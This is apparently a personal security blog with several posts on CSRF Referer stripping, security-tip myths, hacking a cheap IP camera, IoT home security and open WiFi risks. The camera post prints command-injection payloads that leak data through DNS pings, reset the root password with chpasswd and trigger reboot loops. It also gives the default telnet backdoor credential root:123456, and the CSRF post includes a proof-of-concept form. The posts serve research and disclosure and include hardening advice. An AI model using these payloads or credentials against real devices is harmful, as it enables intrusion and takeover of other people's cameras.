Sunday, June 19, 2016

CSRF Referer header strip


Most of the web applications I see are kinda binary when it comes to CSRF protection; either they have one implemented using CSRF tokens (and more-or-less covering the different functions of the web application) or there is no protection at all. Usually, it is the latter case. However, from time to time I see application checking the Referer HTTP header.

A couple months ago I had to deal with an application that was checking the Referer as a CSRF prevention mechanism, but when this header was stripped from the request, the CSRF PoC worked. BTW it is common practice to accept empty Referer, mainly to avoid breaking functionality.

The OWASP Cross-Site Request Forgery (CSRF) Prevention Cheat Sheet tells us that this defense approach is a baaad omen, but finding a universal and simple solution on the Internetz to strip the Referer header took somewhat more time than I expected, so I decided that the stuff that I found might be useful for others too.

Solutions for Referer header strip

Most of the techniques I have found were way too complicated for my taste. For example, when I start reading a blog post from Egor Homakov to find a solution to a problem, I know that I am going to:
  1. learn something very cool;
  2. have a serious headache from all the new info at the end.
This blog post from him is a bit lighter and covers some useful theoretical background, so make sure you read that first before you continue reading this post. He shows a few nice tricks to strip the Referer, but I was wondering; maybe there is an easier way?

Rich Lundeen (aka WebstersProdigy) made an excellent blog post on stripping the Referer header (again, make sure you read that one first before you continue). The HTTPS to HTTP trick is probably the most well-known one, general and easy enough, but it quickly fails the moment you have an application that only runs over HTTPS (this was my case).

The data method is not browser independent but the about:blank trick works well for some simple requests. Unfortunately, in my case the request I had to attack with CSRF was too complex and I wanted to use XMLHttpRequest. He mentions that in theory, there is anonymous flag for CORS, but he could not get it work. I also tried it, but... it did not work for me either.

Krzysztof Kotowicz also wrote a blog post on Referer strip, coming to similar conclusions as Rich Lundeen, mostly using the data method.

Finally, I bumped into Johannes Ullrich's ISC diary on Referer header and that led to me W3C's Referrer Policy. So just to make a dumb little PoC and show that relying on Referer is a not a good idea, you can simply use the "referrer" meta tag (yes, that is two "r"-s there).

The PoC would look something like this:
  <meta name="referrer" content="never">
    <form action="" method="POST">
      <input type="hidden" name="param1" value="1" />
      <input type="hidden" name="param2" value="2" />


As you can see, there is quite a lot of ways to strip the Referer HTTP header from the request, so it really should not be considered a good defense against CSRF. My preferred way to make is PoC is with the meta tag, but hey, if you got any better solution for this, use the comment field down there and let me know! :)

Saturday, June 11, 2016

One reason why InfoSec sucked in the past 20 years - the "security tips" myth

From time to time, I get disappointed how much effort and money is put into securing computers, networks, mobile phones, ... and yet in 2016 here we are, where not much has changed on the defensive side. There are many things I personally blame for this situation, and one of them are the security tips.

The goal of these security tips is that if the average user follows these easy to remember rules, their computer will be safe. Unfortunately, by the time people integrate these rules into their daily life, these rules either become outdated, or these rules were so oversimplified that it was never true in the first place. Some of these security tips might sound ridiculous to people in InfoSec nowadays, but this is exactly what people still remember because we told them so for years.

PDF is safe to open

This is an oldie. I think this started at the time of macro viruses. Still, people think opening a PDF from an untrusted source is safer than opening a Word file. For details why this is not true, check:
On an unrelated note, people still believe PDF is integrity protected because the content cannot be changed (compered to a Word document).
Image stolen from Kaspersky

Java is secure

One of the best ones. Oracle started marketing Java as a safe language, where buffer overflows, format strings and pointer based vulnerabilities are gone. Unfortunately they forgot to tell the world that instead of "unsafe programs developed by others" they installed their unsafe program on 3 billion devices. 

Stay away from rogue websites and you will be safe

This is a very common belief I hear from average people. "I only visit some trusted news sites and social media, I never visit those shady sites." I have some bad news. At the time of malvertising and infected websites, you don't have to visit those shady sites anymore to get infected.

Don't use open WiFi

I have a very long explanation why this makes no sense, see here. Actually, the whole recommendation makes no sense as people will connect to public WiFis, no matter what we (InfoSec) recommend.

The password policy nightmare

Actually this topic has been covered by myself in two blog posts, see here and here. Long story short: use a password manager and 2 factor authentication wherever possible. Let the password manager choose the password for you. And last but not least, corporate password policy sux.

Sites with a padlock are safe

We tell people for years that the communication with HTTPS sites are safe, and you can be sure it is HTTPS by finding a randomly changing padlock icon somewhere next to the URL. What people hear is that sites with padlocks are safe. Whatever that means. Same goes for WiFi - a network with a padlock is safe.

Use Linux, it is free from malware

For years people told to Windows users that only if they would use Linux they won't have so much malware. Thanks to Android, now everyone on the world can enjoy malware on his/her Linux machine.

OSX is free from malware

It is true that there is significantly less malware on OSX than on Windows, but this is an "economical" question rather than a "security" one. The more people use OSX, the better target it will become. Some people even believe they are safe from phishing because they are using a Mac!

Updated AV + firewall makes me 100% safe

There is no such thing as 100% safe, and unfortunately nowadays most malware is written for PROFIT, which means it can bypass these basic protections for days (or weeks, months, years). The more proactive protection is built into the product, the better!

How to backup data

Although this is one of the most important security tip which is not followed by people, my problem here is not the backup data advise, but how we as a community failed to provide easy to use ways to do that. Now that crypto-ransomware is a real threat to every Windows (and some OSX) users, even those people who have backups on their NAS can find their backups lost. The only hope is that at least OSX has Time Machine which is not targeted yet, and the only backup solution which really works.
The worst part is that we even created NAS devices which can be infected via worms ...

Disconnect your computer from the Internet when not used

There is no need to comment this. Whoever recommends things like that, clearly has a problem.

Use (free) VPN to protect your anonimity

First of all. There is no such thing as free service. If it is free, you are the service. On another hand, non-free VPN can introduce new vulnerablities, and they won't protect your anonimity. It replaces one ISP with another (your VPN provider). Even TOR cannot guarantee anonimity by itself, and VPNs are much worse.

The corporate "security tips" myth

"Luckily" these toxic security tips have infected the enterprise environment as well, not just the home users.

Use robots.txt to hide secret information on public websites

It is 2016 and somehow web developers still believe in this nonsense. And this is why this is usually the first to check on a website for penetration testers or attackers.

My password policy is safer than ever

As previously discussed, passwords are bad. Very bad. And they will stick with us for decades ...

Use WAF, IDS, IPS, Nextgen APT detection hibber-gibber and you will be safe

Companies should invest more into people and less into magic blinking devices.

Instead of shipping computers with bloatware, ship computers with exploit protection software
Teach people how to use a password safe
Teach people how to use 2FA
Teach people how to use common-sense


Computer security is complex, hard and the risks change every year. Is this our fault? Probably. But these kind of security tips won't help us save the world. 

Saturday, September 26, 2015

How I hacked my IP camera, and found this backdoor account

The time has come. I bought my second IoT device - in the form of a cheap IP camera. As it was the cheapest among all others, my expectations regarding security was low. But this camera was still able to surprise me.

Maybe I will disclose the camera model used in my hack in this blog later, but first I will try to contact someone regarding these issues. Unfortunately, it seems a lot of different cameras have this problem, because they share being developed on the same SDK. Again, my expectations are low on this.

The obvious problems

I opened the box, and I was greeted with a password of four numeric characters. This is the password for the "admin" user, which can configure the device, watch it's output video, and so on. Most people don't care to change this anyway.

It is obvious that this camera can talk via Ethernet cable or WiFi. Luckily it supports WPA2, but people can configure it for open unprotected WiFi of course. 

Sniffing the traffic between the camera and the desktop application it is easy to see that it talks via HTTP on port 81. The session management is pure genius. The username and password is sent in every GET request. Via HTTP. Via hopefully not open WiFi. It comes really handy in case you forgot it, but luckily the desktop app already saved the password for you in clear text in 
"C:\Users\<USER>\AppData\Local\VirtualStore\Program Files (x86)\<REDACTED>\list.dat"

This nice camera communicates to the cloud via UDP. The destination servers are in Hong Kong and China. In case you wonder why an IP camera needs a cloud connection, it is simple. This IP camera has a mobile app for Android and iOS, and via the cloud the users don't have to bother to configure port forwards or dynamic DNS to access the camera. Nice.

Let's run a quick nmap on this device.
23/tcp   open  telnet     BusyBox telnetd
81/tcp   open  http       GoAhead-Webs httpd
| http-auth: 
| HTTP/1.1 401 Unauthorized
|_  Digest algorithm=MD5 opaque=5ccc069c403ebaf9f0171e9517f40e41 qop=auth realm=GoAhead stale=FALSE nonce=99ff3efe612fa44cdc028c963765867b domain=:81
|_http-methods: No Allow or Public header in OPTIONS response (status code 400)
|_http-title: Document Error: Unauthorized
8600/tcp open  tcpwrapped
The already known HTTP server, a telnet server via BusyBox, and a port on 8600 (have not checked so far). The 27 page long online manual does not mention any Telnet port. How shall we name this port? A debug port? Or a backdoor port? We will see. I manually tried 3 passwords for the user root, but as those did not work, I moved on.

The double blind command injection

The IP camera can upload photos to a configured FTP server on a scheduled basis. When I configured it, unfortunately it was not working at all, I got invalid username/password on the server. After some debugging, it turned out the problem was that I had a special $ character in the password. And this is where the real journey began. I was sure this was a command injection vulnerability, but not sure how to exploit it. There were multiple problems which made the exploitation harder. I call this vulnerability double blind command injection. The first blind comes from the fact that we cannot see the output of the command, and the second blind comes from the fact that the command was running in a different process than the webserver, thus any time-based injection involving sleeps was not a real solution.
But the third problem was the worst. It was limited to 32 characters. I was able to leak some information via DNS, like with the following commands I was able to see the current directory:
or cleaned up after URL decode:
$(ping -c 2 `pwd`)
but whenever I tried to leak information from /etc/passwd, I failed. I tried $(reboot) which was a pretty bad idea, as it turned the camera into an infinite reboot loop, and the hard reset button on the camera failed to work as well. Fun times.

Following are some examples of my desperate trying to get shell access. And this is the time to thank EQ for his help during the hacking session night, and for his great ideas.
$(cp /etc/passwd /tmp/a)       ;copy /etc/passwd to a file which has a shorter name
$(cat /tmp/a|head -1>/tmp/b)   ;filter for the first row
$(cat</tmp/b|tr -d ' '>/tmp/c) ;filter out unwanted characters
$(ping `cat /tmp/c`)           ;leak it via DNS
After I finally hacked the camera, I saw the problem. There is no head, tr, less, more or cut on this device ... Neither netcat, bash ...

I also tried commix, as it looked promising on Youtube. Think commix like sqlmap, but for command injection. But this double blind hack was a bit too much for this automated tool unfortunately.

But after spending way too much time without progress, I finally found the password to Open Sesame.
$(echo 'root:passwd'|chpasswd)
Now, logging in via telnet
(none) login: root

BusyBox v1.12.1 (2012-11-16 09:58:14 CST) built-in shell (ash)
Enter 'help' for a list of built-in commands.

Woot woot :) I quickly noticed the root of the command injection problem:

# cat /tmp/
/system/system/bin/ftp -n<<!
open 21
user ftpuser $(echo 'root:passwd'|chpasswd)
mkdir  PSD-111111-REDACT
cd PSD-111111-REDACT
lcd /tmp
put 12.jpg 00_XX_XX_XX_XX_CA_PSD-111111-REDACT_0_20150926150327_2.jpg

Whenever a command is put into the FTP password field, it is copied into this script, and after the script is scheduled, it is interpreted by the shell as commands. After this I started to panick that I forgot to save the content of the /etc/passwd file, so how am I going to crack the default telnet password? "Luckily", rebooting the camera restored the original password. 


Unfortunately there is no need to start good-old John The Ripper for this task, as Google can tell you that this is the hash for the password 123456. It is a bit more secure than a luggage password.

It is time to recap what we have. There is an undocumented telnet port on the IP camera, which can be accessed by default with root:123456, there is no GUI to change this password, and changing it via console, it only lasts until the next reboot. I think it is safe to tell this a backdoor.
With this console access we can access the password for the FTP server, for the SMTP server (for alerts), the WiFi password (although we probably already have it), access the regular admin interface for the camera, or just modify the camera as we want. In most deployments, luckily this telnet port is behind NAT or firewall, so not accessible from the Internet. But there are always exceptions. Luckily, UPNP does not configure the Telnet port to be open to the Internet, only the camera HTTP port 81. You know, the one protected with the 4 character numeric password by default.

Last but not least everything is running as root, which is not surprising. 

My hardening list

I added these lines to the end of /system/init/
sleep 15
echo 'root:CorrectHorseBatteryRedStaple'|chpasswd
Also, if you want, you can disable the telnet service by commenting out telnetd in /system/init/

If you want to disable the cloud connection (thus rendering the mobile apps unusable), put the following line into the beginning of /system/init/
iptables -A OUTPUT -p udp ! --dport 53 -j DROP

My TODO list

  • Investigate the script /system/system/bin/gmail_thread
  • Investigate the cloud protocol
  • Buy a Raspberry Pie, integrate with a good USB camera, and watch this IP camera to burn
A quick googling revealed I am not the first finding this telnet backdoor account in IP cameras, although others found it via JTAG firmware dump. 

And 99% of the people who buy these IP cameras think they will be safe with it. Now I understand the sticker which came with the IP camera.

When in the next episode of Mr Robot you see someone logging into an IP camera via telnet with root:123456, you will know, it is the sad reality.

If you are interested in generic ways to protect your home against IoT, read my previous blog post on this. 

Update: as you can see on the following screenshot, the bad guys already started to take advantege of this issue ...

Thursday, August 20, 2015

How to secure your home against "Internet of Things" and FUD

TL;DR most of the security news about IoT are full of FUD. Always put the risks in context - who can exploit this and what can the attacker do with it. Most news only cover the latter.


There is rarely a day without news that another "Internet of Things" got hacked. "Smart" safes, "smart" rifles, "smart" cars, "smart" fridges, "smart" TVs, "smart" alarm systems, "smart" meters, "smart" bulbs, NAS devices, routers. These devices are getting hacked every day. Because most of these devices were never designed with security as a goal, and some of them have been never tested by security professionals, it is no surprise that these things are full of vulnerabilities.

Independent security researchers find these vulnerabilities, write a cool blog post or give a presentation about the vulnerability and the exploit, and the media forgets the constraints just for the sake of more clicks. "We are all doomed" we can read in the news, but sometimes the risks are buried deeply in technical jargon. Please note I blame the news sites here, not the researchers.

There are huge differences between the following risks:

  • Attackers can directly communicate with the router (or camera) from the Internet without authentication and exploit the vulnerability. This is the worst case scenario. For example an automated ransomware attack against your NAS is pretty bad.
  • Attackers have to position themselves in the same WAN network (e.g. Sprint mobile network in the case of Jeep hacking) to exploit the vulnerability. This is still pretty bad.
  • The vulnerable code can not be triggered directly from the Internet, but tricks like CSRF can be used to exploit it (details later in this post). 
  • The vulnerable code can not be triggered directly from the Internet, and it uses a protocol/port which prevents Cross Protocol Scripting. Attackers have to access the local network before exploiting this vulnerability.
As it is the case with the worst scenario, one can find a lot of devices connected to the internet. You can always find funny stuff at , or use the nmap screenshot script to find your own stuff :)

Network exposure

Most devices are behind an IPv4 NAT device (e.g. home router), thus can not be reached from the Internet side by default. Except when the device configures the firewall via UPNP. Or the device has a persistence cloud connection, and the cloud can send commands to the device. Or the device uses IPv6 tunneling (e.g. Teredo), thus it is reachable from the Internet. But not every vulnerability on your home network is accessible directly from the Internet. As more and more devices and networks will support IPv6, this scenario might change, but I hope most home routers will come with a default deny configuration in their IPv6 firewall module. On the other hand, scanning for IPv6 devices blindly is not feasible due to the large number of IPv6 addresses, but some tricks might work

If attackers can not access the device directly, there is a way to hack it through the user's browser. Just convince the victim user to visit a website, and via CSRF (Cross Site Request Forgery) and brute-forcing the device IP, it is possible to hack some devices (mostly through HTTP - if the exploit can fit into simple GET or POST commands.

If attackers can not attack the device vulnerability through the Internet directly, or via CSRF, but  have connect to the same network - the network exposure shrinks significantly. And when attackers are on the same network as you, I bet you have bigger problems than the security of the IoT devices ...

Recommendations for home users

Don't buy **** you don't need

Disable cloud connectivity if it is not necessary. For example I have a NAS device which can be reached through the "cloud", but I have disabled it by not configuring any default gateway for the device. I prefer connecting to my network via VPN and reach all my stuff through that.

Prevent CSRF attacks. I use two tricks. Don't use the 192.168.0.x - 192.168.10.x network at home - use an uncommon IP range instead (e.g. 192.168.156.x is better). The second trick is I configured my Adblock plugin in my primary browser to block access to my internal network. And I use another browser whenever I want to access my internal devices. Update: On Firefox you can use NoScript ABE to block access to internal resources.

Check your router configuration:

  • disable UPNP
  • check the firewall settings and disable unnecessary port forwards
  • check for IPv6 settings, and configure the firewall as default deny for incoming IPv6 TCP/UDP.

Change default passwords, especially for services connected to the Internet. Follow password best practices.

Run Nmap to locate new IoT in your home network :) 

Run WiFi scan to locate new WiFi access points. Let me share a personal experience with you. I moved to a new house, and brought my own WiFi router with me. I plugged it in, and forget about WiFi. Months later it turned out I had two other WiFi devices in my house - the cable modem had it's own integrated WiFi with default passwords printed on the bottom, and the Set-top-box was the same - default WiFi passwords printed on the bottom. And don't forget to scan for ZigBee, Bluetooth, IrDA, FM, ...

Update your devices - in case you have a lot of free time in your hand.

Don't allow your guests to connect to your home network. Set up a separated AP for them. Imagine your nephew stealing your private photos or videos from your NAS or DNLA server.

With great power, it comes great responsibility. The less device you own in your house, the less time you need to maintain those.

Read the manuals of your devices. Be aware of the different interfaces. Configure it in a secure way.

Stop being amazed by junk hacking.

Update: Disable WebRTC: , in Chrome you can use this extension:

Update: Prevent against DNS rebind attacks via configuring a DNS server which can block internal IP addresses. OpenDNS can block internal IP, but this is not a default option, you have to configure it.

Recommendations for vendors

For vendors, I recommend at least the followings:

  • Implement security during Software Development LifeCycle
  • Continuous security testing and bug bounties
  • Seamless auto-update
  • Opt-in cloud connectivity

Recommendations for journalists

Stop FUD. Pretty please.

The questions to ask before losing your head

  • who can exploit the vulnerability?
  • what prerequisites do we have about the attack to successfully exploit the vulnerability? Is the attacker already in your home network? If yes, you have probably bigger problems.
  • what can the attacker do when the exploit is successful?

And last but not least don't forget that in the case of IoT devices sometimes users are the product, not the customer. IoT is about collecting data for marketing purposes.

Thursday, July 23, 2015

Mythbusters: Is an open (unencrypted) WiFi more dangerous than a WPA2-PSK? Actually, it is not.


Whenever security professionals recommend the 5 most important IT security practices to average users, one of the items is usually something like: “Avoid using open Wifi” or “Always use VPN while using open WiFi” or “Avoid sensitive websites (e.g. online banking) while using open WiFI”, etc.

What I think about this? It is bullshit. But let’s not jump to the conclusions. Let’s analyze all risks and factors here.

During the following analysis, I made two assumptions. The first one is that we are comparing public WiFi hotspots with no encryption at all (referred as Open), and we compare this to public WiFi hotspots with WPA2-PSK (and just hope WEP died years before). The other assumption is there are people who are security aware, and those who just don’t care. They just want to browse the web, access Facebook, write e-mails, etc.

The risks

Let’s discuss the different threats people face using public hotspots, compared to home/work internet usage:
1. Where the website session data is not protected with SSL/TLS (and the cookie is not protected with secure flag), attackers on the same hotspot can obtain the session data and use it in session/login credentials stealing. Typical protocols affected:

  • HTTP sites
  • HTTPS sites but unsecured cookie
  • FTP without encryption

2. Attackers can inject extra data into the HTTP traffic, which can be used for exploits, or social engineer attacks (e.g. update Flash player with our malware) – see the Dark Hotel campaign

3. Attackers can use tools like SSLStrip to keep the user’s traffic on clear text HTTP and steal password/session data/personal information

4. Attackers can monitor and track user activity

5. Attackers can directly attack the user’s machine (e.g. SMB service)

WPA2-PSK security

So, why is a public WPA2-PSK WiFi safer than an open WiFi? Spoiler alert: it is not!

In a generic public WPA2-PSK scenario, all users share the same password. And guess what, the whole traffic can be decrypted with the following information: SSID + shared password + information from the 4-way handshake.
If you want to see it in action, here is a nice tutorial for you
Decrypted WPA2-PSK traffic

Any user having access to the same WPA2-PSK network knows this information. So they can instantly decrypt your traffic. Or the attackers can just set up an access point with the same SSID, same password, and stronger signal. And now, the attacker can instantly launch active man-in-the-middle attacks. It is a common belief (even among ITSEC experts) that WPA2-PSK is not vulnerable to this attack. I am not sure why this vulnerability was left in the protocol, if you have the answer, let me know. Edit (2015-08-03): I think the key message here is that without server authentication (e.g. via PKI), it is not possible to solve this.
Let me link here one of my previous posts here with a great skiddie tool:

To sum up, attackers on a WPA2-PSK network can:

  • Decrypt all HTTP/FTP/IMAP/SMTP/POP3 passwords or other sensitive information
  • Can launch active attacks like SSLStrip, or modify HTTP traffic to include exploit/social engineer attacks
  • Can monitor/track user activity

The only difference between open and WPA2-PSK networks is that an open network can be hacked with an attacker of skill level of 1 from 10, while the WPA2-PSK network needs and attacker with a skill level of 1.5. That is the difference.

The real solutions

1. Website owners, service providers should deploy proper (trusted) SSL/TLS infrastructure, protect session cookies, etc. Whenever a user (or security professional) notices a problem with the quality of the service (e.g. missing SSL/TLS), the service provider has to be notified. If no change is made, it is recommended to drop the service provider and choose a more secure one. Users have to use HTTPS Everywhere plugin.

2. Protect the device against exploits by patching the software on it, use a secure browser (Chrome, IE11 + enhanced protection), disable unnecessary plugins (Java, Flash, Silverlight), or at least use it via click-to-play. Also the use of exploit mitigations tools (EMET, HitmanPro Alert, Malwarebytes AntiExploit) and a good internet security suite is a good idea.

3. Website owners have to deploy HSTS, and optionally include their site in a HSTS preload list

4. Don’t click blindly on fake downloads (like fake Flash Player updates)

5. The benefits of a VPN is usually overestimated. A VPN provider is just another provider, like the hotspot provider, or the ISP. They can do the same malicious stuff (traffic injecting, traffic monitoring, user tracking). Especially when people use free VPNs. And “Average Joe” will choose free VPN. Also VPN connections tend to be disconnected, and almost none of the VPN providers provide fail secure VPNs. Also, for the price of a good VPN service you can buy a good data plan and use 4G/3G instead of low quality public hotspots. But besides of this, on mobile OSes (Android, iOS, etc.) I strongly recommend the use of VPN, because it is not practically feasible to know for users which app is using SSL/TLS and which is not.

6. Use a location aware firewall, and whenever the network is not trusted, set it to a Public.

7. In a small-business/home environment, buy a WiFi router with guest WiFi access possibility, where different password can be set to guest network than used for the other.

Asking the question “Are you using open WiFi?”, or “Do you do online banking on open WiFi?” are the wrong questions. The good questions are:
  • Do you trust the operator(s) of the network you are using?
  • Are the clients separated?
  • If clients are not separated, is it possible that there are people with malicious intent on the network?
  • Are you security aware, and are you following the rules previously mentioned? If you do follow these rules, those will protect you on whatever network you are.

And call me an idiot, but I do online banking, e-shopping, and all the other sensitive stuff while I’m using open WiFi. And whenever I order pizza from a HTTP website, attackers can learn my address. Which is already in the phone book, on Facebook, and in every photo metadata I took with my smartphone about my cat and uploaded to the Internet (

Most articles and research publications are full of FUD about what people can learn from others. Maybe they are just outdated, maybe they are not. But it is totally safe to use Gmail on an open WiFi, no one will be able to read my e-mails.

PS: I know “Average Joe” won’t find my blog post, won’t start to read it, won’t understand half I wrote. But even if they do, they won’t patch their browser plugins, pay for a VPN, or check the session cookie. So they are doomed to fail. That’s life. Deal with it.